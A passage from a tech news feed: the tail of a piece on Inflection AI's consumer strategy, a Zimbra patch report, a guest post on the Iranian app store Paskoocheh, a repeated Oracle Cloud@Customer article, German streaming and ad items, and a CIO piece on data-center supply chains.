Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as Reuters reported. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.
White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — Jelled.AI, BoostKPI, and the European consulting firm Boundaryless — and telling TechCrunch that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.
Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.
Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.
The six-month prediction: relationship-aware AI is coming to the enterprise
Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."
If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.
The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."
That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like Rust and WebAssembly.
Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as PyTorch.
Can a diminished Inflection compete with AI giants spending billions?
Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," Hoffman said in the announcement. "When that kind of agency is available to everyone, you get superagency."
The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "relational intelligence" is, for now, a brand claim awaiting proof.
But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.
Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."
Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.




Critical Zimbra security update fixes 9 vulnerabilities
Wed, 22 Jul 2026 22:40:41 +0200

		
					  
						




Business email and collaboration suite Zimbra has received a major security update that fixes several critical issues that could allow attackers to execute malicious code on the server or in users’ browsers.



Available in commercial and open-source editions, Zimbra Collaboration Suite is a self-hosted Microsoft Exchange alternative that is popular with businesses, government entities, and educational institutions, which has made it a target for attackers in the past.



Version 10.1.20 released this week includes patches for nine vulnerabilities, including a permanent fix for a critical flaw announced in June in the SNMP monitoring component that could be exploited to inject commands when notifications are enabled.



The release also fixes four cross-site scripting (XSS) vulnerabilities in the Classic Web Client that could allow attackers to execute malicious scripts when users view emails in the web interface. For example, one vulnerability can be triggered through specially crafted attachment filenames and another when users render an attachment.



XSS vulnerabilities are dangerous because they execute scripts in the user’s browser in the context of the page. That gives rogue code the same privileges as the user, enabling it to perform malicious actions, exfiltrate data, or even leak session cookies.



In 2025, an XSS vulnerability in the calendar import feature of the Zimbra Classic Web Client (CVE-2025-27915) was exploited in attacks targeting Brazilian military personnel. Many other Zimbra vulnerabilities have been exploited over the years, sometimes as zero-days, especially by Russian state-sponsored APT groups, such as Fancy Bear (APT28), Cozy Bear (APT29), and Winter Vivern (TA473).



A recent incident involved a Russian threat group targeting a Ukrainian critical infrastructure agency in March using specifically crafted emails that exploited a known Zimbra stored XXS vulnerability (CVE-2025-66376).



Another vulnerability fixed in the newly released Zimbra 10.1.20 could allow authenticated attackers to bypass email forwarding restrictions. Adding email forwarding rules to a compromised account is a common way to achieve persistence and continuously exfiltrate emails from a mailbox over an extended period of time, even if the account password is changed.



The release also fixes a security issue related to access controls in the EWS extension, an authorization issue in mailbox delegation, and a server-side request forgery (SSRF) vulnerability in the Nextcloud integration. Nextcloud is another self-hosted collaboration suite that is popular with government and public institutions that don’t want to rely on public clouds.



It’s worth noting that this is the second Zimbra security update this month. Version 10.1.19, released on July 7, patched another unspecified security issue in the Classic Web Client that could run malicious code when specially crafted emails were opened by users.



Zimbra owner Synacor strongly advises customers to upgrade to the latest available version as soon as possible to keep their environments secure. While none of these flaws had zero-day status, hacker groups have a history for quickly adopting known Zimbra exploits.



Paskoocheh: When you need a tool to reach the tool
Wed, 22 Jul 2026 22:34:54 +0200

    
      


      
    
    ++ This guest post is part of a spotlight series on the organizations defending the free Internet.++
Due to heavy information controls, people in Iran face significant barriers to accessing the Internet. Authorities have actively blocked numerous websites and apps, including conventional circumvention and digital security tools such as VPNs, social media platforms, and the app stores themselves. This creates a "chicken-and-egg" problem: users need a VPN to download a VPN.
Launched in 2016, Paskoocheh, Persian for "alleyway," is an open source alternative app store, community hub, and one-stop-shop for users to access information and tools to circumvent censorship, enhance their privacy, securely communicate, and express themselves freely online. Developed and maintained by ASL19, a technology and exiled media organization named after Article 19 of the Universal Declaration of Human Rights, Paskoocheh restores access and allows people to reach trusted tools through four censorship-resilient channels: the Paskoocheh website, Android App, Email bot, and Telegram bot. 
Users are also able to reach our Persian-speaking support team through the Paskoocheh Helpdesk, which handles over 200 tickets daily. In addition, ASL19 translates and publishes accessible user guides, blog posts, and multimedia content to help users navigate online privacy and digital security best practices.
Paskoocheh serves as more than an alternative app store; it is also a bridge between tool developers and in-country users. Our support team relays user feedback to tool developers, helping improve tools and overall experience in Iran. We also conduct in-country testing with developers and user communities to evaluate new features and strengthen censorship-resilient technologies.
Paskoocheh's impact so far
This combination of access, user support, and education has turned Paskoocheh into a critical lifeline for users in Iran.

# of tool downloads since 2016:   17,634,852 

# of community members in Iran supporting testing and localization efforts:  2,000+

# of monthly active users on web and app:  ~200K


During periods of internet disruption and nationwide protests in Iran, these tools became critical communication lifelines. One longtime user wrote to us: 
"I've been using this free app for several years now. It's free, unique, and unlike others, it has no equal." Reflecting on the broader digital environment in the country, they added that "in these difficult economic conditions, people are struggling just to survive, while many apps either empty people's pockets, deceive and lie to them, or serve as tools for spying and propaganda."

Messages like these highlight the importance of privacy-preserving technologies in environments where surveillance, censorship, and disinformation shape everyday life online. In moments of crisis, internet freedom tools become part of how people maintain relationships, exchange trusted information, and stay connected to the outside world. For some users, these tools also made it possible to continue reporting on events on the ground, verify information during periods of state-backed disinformation, and safely communicate evidence of abuses despite widespread surveillance and connectivity disruptions.
The future of Paskoocheh: Scaling a community-first approach to internet freedom
As internet censorship tactics evolve rapidly, internet shutdowns are becoming more frequent and more sophisticated, cutting communities off from information, communication, and one another. 
What we have learned through this work is that access alone is not enough. Technology is only useful if people trust it, understand how to use it safely, and can rely on support networks when digital spaces become unstable or dangerous.
That is why our work extends beyond technical development. Alongside building secure access technologies, ASL19 invests heavily in user education, digital security guidance, and community capacity building. Every support ticket answered, training delivered, and piece of digital safety guidance shared helps people stay connected under pressure. 
This human-centered approach is becoming increasingly important as authoritarian tactics evolve globally. During internet shutdowns and heightened censorship, local helper communities often become the first line of assistance for journalists, activists, students, and ordinary citizens. 
With additional support, ASL19 aims to continue expanding Paskoocheh beyond its current capacity into a broader resilience ecosystem that combines technical innovation with stronger on-the-ground support systems. This includes improving access to trusted circumvention and privacy tools during shutdowns, expanding multilingual user support and educational resources, and deepening collaboration with communities operating under digital authoritarianism. 
This work is not solely about technology products. At a moment when most people's understanding of the internet is shaped by the little squares in their pockets, it is important to acknowledge and support the broader ecosystems that make access possible. Civil society, independent media, and grassroots communities all play a part in helping people survive under pressure. This is why partnerships within the internet freedom ecosystem matter. Living under digital authoritarianism means that these are not abstract protections against hypothetical risks, but practical tools that make journalism, organizing, education, and communication possible in the first place. 
About ASL19
Named after Article 19 of the Universal Declaration of Human Rights, ASL19 is a technology and exiled media organization working to counter digital authoritarianism. For more than a decade, we have partnered with civil society groups, journalists, researchers, activists, and internet users living under some of the world's most restrictive online environments. Guided by the belief that privacy and internet freedom are essential to safe communication, access to information, and civic participation, ASL19 develops technologies and support systems that help people navigate censorship, surveillance, internet shutdowns, and information manipulation. In countries such as Iran, Russia, and China, these tools serve as critical lifelines, enabling people to communicate securely, access information, document human rights abuses, and stay connected to the outside world.

    
  
    
        
          community
        
      

        
          human rights
        
      

        
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Colorado thinks it found the answer to EV battery recycling's biggest challenge
Wed, 22 Jul 2026 20:48:29 +0200
End-of-life disposal of EV batteries is a growing problem. This state is trying something new.


Oracle expands Cloud@Customer with new database service for mid-sized workloads
Wed, 22 Jul 2026 20:19:33 +0200

					  
						




Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.



The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.



The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.



For regulated industries or restricted connectivity



Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.



These enterprises, according to Ashish Chaturvedi, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.



The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a full Exadata rack, said Amit Chandak, chief analytics officer at IT consulting firm Kanerika.



In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.



Deployment and maintenance becomes easier too, said Michael Leone, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”



The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.



Private AI behind the firewall



Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.



“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.



More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said Igor Ikonnikov, advisory fellow at Info-Tech Research Group.



Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.



The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst Noel Yuhanna. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”



Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”



Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.



However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.



Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”



The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.



Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.



This article first appeared on CIO.



Oracle expands Cloud@Customer with new database service for mid-sized workloads
Wed, 22 Jul 2026 19:56:30 +0200

		
					  
						




Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.



The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.



The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.



For regulated industries or restricted connectivity



Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.



These enterprises, according to Ashish Chaturvedi, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.



The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a full Exadata rack, said Amit Chandak, chief analytics officer at IT consulting firm Kanerika.



In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.



Deployment and maintenance becomes easier too, said Michael Leone, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”



The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.



Private AI behind the firewall



Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.



“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.



More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said Igor Ikonnikov, advisory fellow at Info-Tech Research Group.



Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.



The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst Noel Yuhanna. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”



Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”



Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.



However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.



Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”



The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.



Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.



This article first appeared on CIO.



Oracle expands Cloud@Customer with new database service for mid-sized workloads
Wed, 22 Jul 2026 19:49:12 +0200

		
					  
						




Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.



The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.



The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.



For regulated industries or restricted connectivity



Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.



These enterprises, according to Ashish Chaturvedi, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.



The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a full Exadata rack, said Amit Chandak, chief analytics officer at IT consulting firm Kanerika.



In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.



Deployment and maintenance becomes easier too, said Michael Leone, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”



The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.



Private AI behind the firewall



Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.



“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.



More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said Igor Ikonnikov, advisory fellow at Info-Tech Research Group.



Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.



The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst Noel Yuhanna. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”



Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”



Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.



However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.



Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”



The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.



Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.



Anzeige: USB-SSD-Stick mit 1 TByte zum niedrigsten Preis seit Monaten
Wed, 22 Jul 2026 18:34:47 +0200
Der 1 TByte große USB-SSD-Stick von Orico vereint die Vorteile von Flash Drives und externen SSDs. Im Amazon-Angebot ist er wieder zum Sparpreis erhältlich. (Solid State Drive, Speichermedien) 


The Fastest Path to AI Adoption Runs Through Security
Wed, 22 Jul 2026 16:10:04 +0200
Security leaders who build fast, visible paths to AI adoption are becoming the most valued partners in their organizations. AI governance done right gives security teams the visibility they need, employees the tools they want, and CISOs the strategic influence they have earned.

According to McKinsey's State of AI report, 76 percent of employees now use AI in some capacity at work, up from 55


So einfach streamen Sie hunderte TV-Sender kostenlos & live am Handy
Wed, 22 Jul 2026 15:35:35 +0200





Keine Antenne, kein Kabelanschluss, kein Abo: Auf Ihrem Android-Smartphone oder iPhone können Sie Hunderte TV-Sender kostenlos und legal livestreamen – etwa die WM-Spiele in der U-Bahn oder Ihre Lieblingsspielfilme im Freibad. Wir erklären Ihnen, welche Apps sich lohnen und wie Sie sie einrichten.



ARD Mediathek und ZDF: Öffentlich-rechtlich, kostenlos, ohne Einschränkungen



Den einfachsten Einstieg bieten die Apps der öffentlich-rechtlichen Sender. Die ARD Mediathek (Android / iPhone) gibt Ihnen Zugriff auf Live-TV von Das Erste, den Dritten Programmen, arte, tagesschau24 und weiteren Sendern sowie eine Mediathek mit Sendungen, die bis zu 30 Tage nach Ausstrahlung abrufbar sind.



Die ZDF-App (Android / iPhone) funktioniert nach demselben Prinzip und deckt ZDF, ZDFneo und ZDFinfo ab. Beide Apps sind kostenlos, werbefrei und erfordern keine Anmeldung.



So starten Sie den Live Stream in der ARD Mediathek:




Öffnen Sie die App nach der Installation.



Tippen Sie unten in der Navigation auf “Live”.



Wählen Sie einen Sender aus und tippen Sie darauf, um den Stream zu starten.




Tipp: Es gibt ein kostenloses Tool, mit dem Sie das gesamte Angebot von ARD, ZDF, Arte und vielen weiteren öffentlich-rechtlichen Sendern direkt auf Ihr Handy (oder den PC) laden können. Hier erfahren Sie, wie es geht.







Joyn: Private Sender kostenlos im Stream



Mit Joyn (Android / iPhone) kommen die großen Privatsender dazu. Ohne Anmeldung empfangen Sie über 60 Sender wie ProSieben, SAT.1, Kabel eins und DMAX. Mit einem kostenlosen Joyn-Konto schalten Sie noch mehr Inhalte frei. Joyn+ für 6,99 Euro im Monat entfernt die Werbung und fügt HD-Qualität hinzu, ist aber für den Grundbetrieb nicht nötig.



So starten Sie den Live Stream mit Joyn:




Laden und installieren Sie die Joyn-App aus dem Play Store oder App Store.



Öffnen Sie die App. Sie müssen sich nicht anmelden.



Tippen Sie auf “Live TV” in der unteren Navigation und wählen Sie einen Sender.



Über “Live TV” erreichen Sie in Joyn direkt das laufende Programm aller verfügbaren Live-TV-Sender.
PC-Welt



Zattoo: Über 170 Sender in der Gratis-Version



Zattoo (Android / iPhone) bietet mit seiner kostenlosen Version eines der umfangreichsten Gratisangebote im deutschsprachigen Raum: über 170 Sender in einem klassischen TV-Guide-Format. 



Ein kostenloses Konto ist erforderlich, die Registrierung dauert aber nur wenige Minuten. Kostenpflichtige Tarife ab 6,99 Euro im Monat fügen HD-Qualität, Timeshift und Aufnahmefunktion hinzu. Einen vollständigen Anbietervergleich finden Sie in unserem Artikel TV ohne Kabel: WaipuTV, Zattoo, Joyn & Co. – die besten IPTV-Anbieter im Überblick.



So richten Sie Zattoo ein:




Laden Sie die Zattoo-App herunter und öffnen Sie sie.



Tippen Sie auf “Registrieren” und legen Sie ein kostenloses Konto an.



Bestätigen Sie Ihre E-Mail-Adresse über den Link in der Bestätigungsmail.



Melden Sie sich an und tippen Sie auf einen Sender, um den Stream zu starten.








Pluto TV: Hunderte Themenkanäle ohne Anmeldung



Pluto TV (Android / iPhone) funktioniert anders als klassische TV-Apps: Statt linearer Fernsehsender bietet die Plattform über 250 kuratierte Themenkanäle, die rund um die Uhr Inhalte zu bestimmten Themen senden; angefangen von Krimis über Dokumentationen bis zu internationalen Nachrichten. Alles ist kostenlos, werbefinanziert und ohne Registrierung nutzbar.



So starten Sie das Live-Streaming mit Pluto TV:




Installieren Sie die App und öffnen Sie sie.



Tippen Sie auf “Live TV” in der unteren Navigation.



Scrollen Sie durch die Kanalliste oder nutzen Sie die Suche, um einen passenden Kanal zu finden.



Tippen Sie auf einen Kanal, um den Stream sofort zu starten.




Beim Thema Streaming: Lohnen sich die Abos für Netflix, Prime Video und Co. überhaupt noch? Unser großer Vergleich von Netflix, Prime Video, Disney+ und Co. gibt die Antwort.




The $3 trillion assembly line: Why CIOs must industrialize the data center supply chain
Wed, 22 Jul 2026 14:04:29 +0200

		
					  
						








You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage of online presence, and now omniscient AI, the demand for data centers has increased manyfold, and the trend seems similar to the year 2000, when telephone towers were built to accommodate increased digital presence.



To win the AI race, Hyperscalers (Google, Meta, Amazon, Microsoft, Alibaba, Oracle, IBM, Tencent) are spending huge amounts of money on data center development. In the USA, the hyperscalers are planning to spend $650 billion in 2026, which is around 70% higher than 2025 spending, according to Yahoo Finance.



As per McKinsey research, by 2030, companies will invest around $7 trillion in Capex on data center infrastructure globally. More than $4 trillion will go towards computing hardware investment. More than 40% of this spending will be invested in the United States.



Demand growth in data centers



McKinsey analysis shows that global demand for data center capacity can more than triple by 2030, with a compound annual growth rate (CAGR) of around 22 per cent. In the USA, data center demand could grow by 20-25 per cent at the same time.  



The data center industry is currently undergoing a violent transition. We are moving away from the era of “bespoke projects” — where every facility was a unique architectural feat — into an era of industrialized infrastructure. With global capital expenditure in the sector projected to hit $3 trillion by 2028, the “bottleneck” has shifted. It is no longer about securing the capital; it is about the physics of the supply chain.



During my tenure at Vantage, managing the intersection of data center construction management (DCCM) and infrastructure management (DCIM), I saw firsthand that the most successful players aren’t those with the deepest pockets, but those with the most integrated data threads. If your construction data in Procore doesn’t talk to your financial reality in Yardi, or your operational capacity in DCIM, you aren’t building a data center — you’re managing a $500 million blind spot.



The death of “sticks and bricks”



Traditionally, data center construction was treated as civil engineering. But for the modern CIO, a data center is a complex product assembly.



The challenges are systemic. We are facing 50-to-80-week lead times for critical “long-pole” items: extra-high-voltage transformers, switchgear, and the liquid cooling manifolds required for the next generation of AI chips. In this environment, the traditional reactive supply chain model is a liability.



To survive the $3 trillion inflow, we must adopt a hybrid-agile SCOR (supply chain operations reference) model. This means applying continuous flow logic to standardized components (like modular power skids) while maintaining agile responsiveness for the volatile IT layer.



The digital bridge: Construction management software  to ERP



The most significant opportunity for CIOs lies in financial-operational integration. In many organizations, there is a data chasm between the construction site and the corporate office. Construction teams live in the construction management software tracking tasks, trades, RFIs and payment submittals. Finance teams operate corporate offices with project management tools (worth remembering that email is a key tool besides spreadsheets and phone calls) tracking capex schedule, commissioning timeline, capital drawdowns and asset lifecycle management.



These systems are siloed; the CIO loses visibility into the total cost to serve. By integrating construction management into the financial system, we create real-time financial visibility of the build. We can see exactly how a three-week delay in a chiller delivery impacts the internal rate of return (IRR) of the entire asset. This isn’t just accounting; it’s strategic telemetry.



From BIM to DCIM: The lifecycle thread



The second bridge is the handoff from construction (BIM) to operations (DCIM). Historically, this handoff was a nightmare of PDFs and Excel sheets. By the time the operations team took the keys, the “as-built” design information was already out of date.



The opportunity today is to maintain a continuous data thread. The sensor data and asset tags established during the “make” phase in our SCOR model should flow directly into the DCIM. This allows us to perform virtual commissioning. Before a single server is racked, we should already have a digital replica of the airflow, power distribution, and cooling capacity.



The scientific inference: AI in the supply chain



As someone who has led data and AI initiatives, I’ve seen the hype. But in the supply chain, the application of AI must be pragmatic, not generative. We don’t need AI to write poems; we need it for predictive procurement. Most organizations manage their procurement in ERP or a mix of a few tools to manage the source-to-settle business flow. Adopting a system workflow improves data collection and the state of the procurement cycle, which in turn provides AI with the context to draw inferences for possible delays and anomalies in original specifications and change orders.



By applying machine learning to global logistics data, we can move from just-in-time to just-in-case modeling. AI can analyze geopolitical risks, shipping lane congestion, and raw material pricing to tell a CIO: “Order your switchgear 14 months early, or your Q3 2027 ‘Power On’ date is at risk.”



Bringing it all together: AI in the supply chain and finance



Why it matters: Approximately 70% of the capex is on this workflow and making timely decisions that directly impact the ready-for-service dates. The current challenge of reactionary adjustment in design to procurement to local fit-out is a significant drain on capex efficiency and cost of capital. Because single-project delivery delays have become so volatile, a massive structural shift is occurring in how digital infrastructure is funded. Single-project debt (special purpose vehicles or SPVs) is facing severe friction. To insulate themselves from RFS shocks, the largest institutional players are moving toward permanent platform capital — aggregating exposure across dozens of global assets simultaneously.



Navigating these complex multi-billion-dollar engineering projects distributed over a large geography is simply unmanageable without rethinking and re-engineering existing tools and processes.



The roadmap for the modern CIO



To lead this transformation, CIOs must move beyond the IT shop mentality and become master orchestrators of the supply chain. Here is the 1500-word reality condensed into three mandates:




Standardize the product: Stop designing bespoke facilities. Move toward DFMA (design for manufacturing and assembly). If 70% of your data center can be built in a factory and shipped as modules, you bypass the unpredictability of on-site labor.



